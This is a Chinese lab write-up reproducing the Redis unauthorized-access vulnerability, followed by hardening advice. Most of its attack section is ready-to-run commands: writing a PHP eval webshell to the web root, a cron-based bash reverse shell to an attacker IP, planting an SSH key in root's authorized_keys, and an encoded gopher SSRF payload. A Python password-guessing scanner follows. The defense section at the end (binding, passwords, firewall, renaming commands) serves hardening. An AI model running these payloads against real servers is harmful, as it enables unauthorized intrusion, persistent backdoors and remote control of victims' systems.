Redis未授权访问漏洞复现
一、Redis未授权漏洞成因
1.1 Redis基本简介
Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。
1.2 Redis未授权漏洞
默认情况下Redis是绑定在0.0.0.0:6379上的,且默认是没有密码的,如果憨憨运维没有在上线服务的时候限制访问端口与配置密码则会使我们从外网直接连接redis服务器进行操作。
1.3 漏洞危害
- 攻击者连接服务器操作服务器数据,或者直接flushall清空数据,emmmmm…三年起步。
- 在受害端留下后门
- 通过ssh密钥直接登录受害者系统
二、环境搭建
2.1 安装redis环境
- 执行以下命令下载源码包
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
- 解压源码包
tar -zxvf redis-2.8.17.tar.gz
- 进入源码包路径
cd ./redis-2.8.17
- 创建makefile
make
- 进入src目录
cd src
- 复制客户端与服务端文件到环境变量目录
cp redis-server /usr/bin
cp redis-cli /uer/bin
- 进入上一级目录
cd ..
- 复制配置文件到/etc
cp redis.conf /etc/
2.2 启动redis
redis-server /etc/redis.conf
使用/etc/redis.conf启动redis服务器
出现上图则表示启动成功
2.3 漏洞成立条件
- redis绑定在0.0.0.0:6379上
- redis未设置密码
- 防火墙没有严格过滤到达redis的流量
三、复现
3.1 连接redis
条件有限,我使用我的centos在同一台机器上做演示,我当前机器的ip为192.168.248.176
redis-cli -h 192.168.248.176 -p 6379
参数 | 含义 |
---|---|
-h | 指定要登录的主机地址 |
-p | 指定redis服务端口,redis服务的端口默认绑定6379,但可以在redis.conf通过port选项更改 |
可以看到我们成功得进入到了redis服务器,这里由于我是在一台机器上演示所以使用了环回地址,同时我的redis是开了密码验证的,所以使用了auth password
来配置密码,这不影响我们的试验,原理都是一样的。
3.1 webshell
在redis客户端输入
127.0.0.1:6379> config set dir /var/www/html/ #设置webshell的存储目录
127.0.0.1:6379> config set dbfilename system.php # 设置webshell的文件名
127.0.0.1:6379> set shell "\r\n\r\n<?php @eval($_POST[cmd]);?>\r\n\r\n" #将一句话木马写入system.php中
127.0.0.1:6379> save #保存
从上面的命令中我们可以看出要想成功写shell我们的redis登录用户需要拥有对网站目录的写权限。
我们去到网站根目录查看是否写成功
我们看到,文件已经出现了,我们再看看文件内容
一句话木马已经写成功了!!system.php文件开头的字符是redis自动写入的,大家不用管。
然后我们用蚁剑连接一下这个文件;
成功getshell
3.2 反弹shell
在redis客户端输入
127.0.0.1:6379> set xxx "\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.248.162/7777 0>&1\n" #设置定时任务,每分钟执行一次反弹的代码
127.0.0.1:6379> config set dir /var/spool/cron #定义文件保存路径,这是定时任务的默认保存路径,所有定时任务都在这里面保存
127.0.0.1:6379> config set dbfilename root #root时当前登录用户的用户名,我当前是使用root登录的,切记这一点。我卡网上的复现文章,这儿都是随便写的,我也不知道他们怎么成功的,反正我是使了吃奶的劲也没成功。
127.0.0.1:6379> save #保存
去/var/spool/cron查看我们的定时任务添加成功没有
bingo,成功了
在我们的攻击机上使用nc监听
nc -lvnp 7777
用户名主机名发生了变化,反弹shell成功
3.3 ssh密钥登录
该部分使用了一台靶机,一台攻击机,靶机的ip:192.168.248.177 攻击机的ip: 192.168.248.162
我们可以将我们自己的公钥写到靶机里面,从而实现ssh的免密登录
首先靶机里面需要有/root/.ssh目录,如果没有,我们就手动建一个
在我们的攻击机里面生成密钥对,一路按回车就好
ssh-keygen -t rsa
进入攻击机的/root/.ssh里面可以看到生成了两个文件
id_rsa 私钥文件
id_rsa.pub 公钥文件
将公钥文件写到一个文本文件里面
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > a.txt
连接靶机的redis服务器,将公钥写进去
cat a.txt | redis-cli -h 192.168.248.177 -x set crack
连接redis服务器,然后执行
config set dir /root/.ssh #设置redis备份的目录为/root/.ssh
config set dbfilename authorized_keys # 设置公钥保存文件名
save #保存
进入到靶机/root/.ssh查看保存成功没有
使用攻击机免密连接靶机
ssh -i id_rsa root@192.168.248.177
可以看到已经成功连接到靶机了!!!!
3.4 ssrf、redis、gopher getshell
利用存在于服务器上面的ssrf漏洞探测到内网有主机开着redis服务器,且存在未授权访问漏洞,可以利用gopher协议对redis服务器进行写操作。
在ssrf处输入gopher://172.16.11.6:6379/_payload
payload怎么生成呢?上工具https://github.com/firebroo/sec_tools
在redis.cmd中写入需要redis执行的命令,我们以写webshell为例:
flushall
config set dir /var/www/html
config set dbfilename webshell.php
set 'handsomeboy' '<?php phpinfo();?>'
save
使用python执行redis-over-gopher.py
python redis-over-gopher.py
然后我们就看到了我们的payload
%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
然后我们这样访问
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
然后我们就可以看到我们的webshell成功写入
盗图勿喷
然后我们就可以用蚁剑、菜刀连接了~~~~
当然我们可以用同样的方法reverse shell
3.5 漏洞poc
别问了,问就是抄的
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
四、防御
4.1 绑定ip
修改redis.conf配置文件
我绑定了只允许本机环回地址只允许北极访问
4.2 设置密码
修改redis.conf配置文件
设置密码为foobared
4.3 修改端口号
修改redis.conf配置文件
修改redis服务端口
4.4 设置防火墙规则
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -p tcp --dport 6379 -j ACCEPT #只允许本机通过tcp的方式访问我的6379端口
4.5 权限最小化
4.5.1 限制用户访问redis目录的权限
root@armandhe ~ ] chmod 700 ~/redis-2.8.17 #我的redis安装在root家目录下
root@armandhe ~ ] chmod 600 /etc/redis.conf #配置文件所在目录
4.5.2 创建低权限用户
useradd -M -s /sbin/nologin yourusername # 创建一个没有登录权限,没有家目录的系统用户运行redis
4.5.3 禁用或重命名危险命令
Redis 无权限分离,其管理员账号和普通账号无明显区分。攻击者登录后可执行任意操作,因此需要隐藏以下重要命令:FLUSHDB FLUSHALL KEYS PEXPIRE DEL CONFIG SHUTDOWN BGREWRITEAOF BGSAVE SAVE SPOP SREM RENAME DEBUG EVAL
另外,在 Redis 2.8.1 及 Redis 3.x (低于 3.0.2) 版本下存在 EVAL 沙箱逃逸漏洞,攻击者可通过该漏洞执行任意 Lua 代码。
下述配置将config flushdb flushall设置为空,即禁用该命令;也可设置为一些复杂的、难以猜测的名字。
rename-command CONFIG ""
rename-command flushall ""
rename-command flushdb ""
rename-command shutdown shotdown_test
BashCopy
保存后,重启生效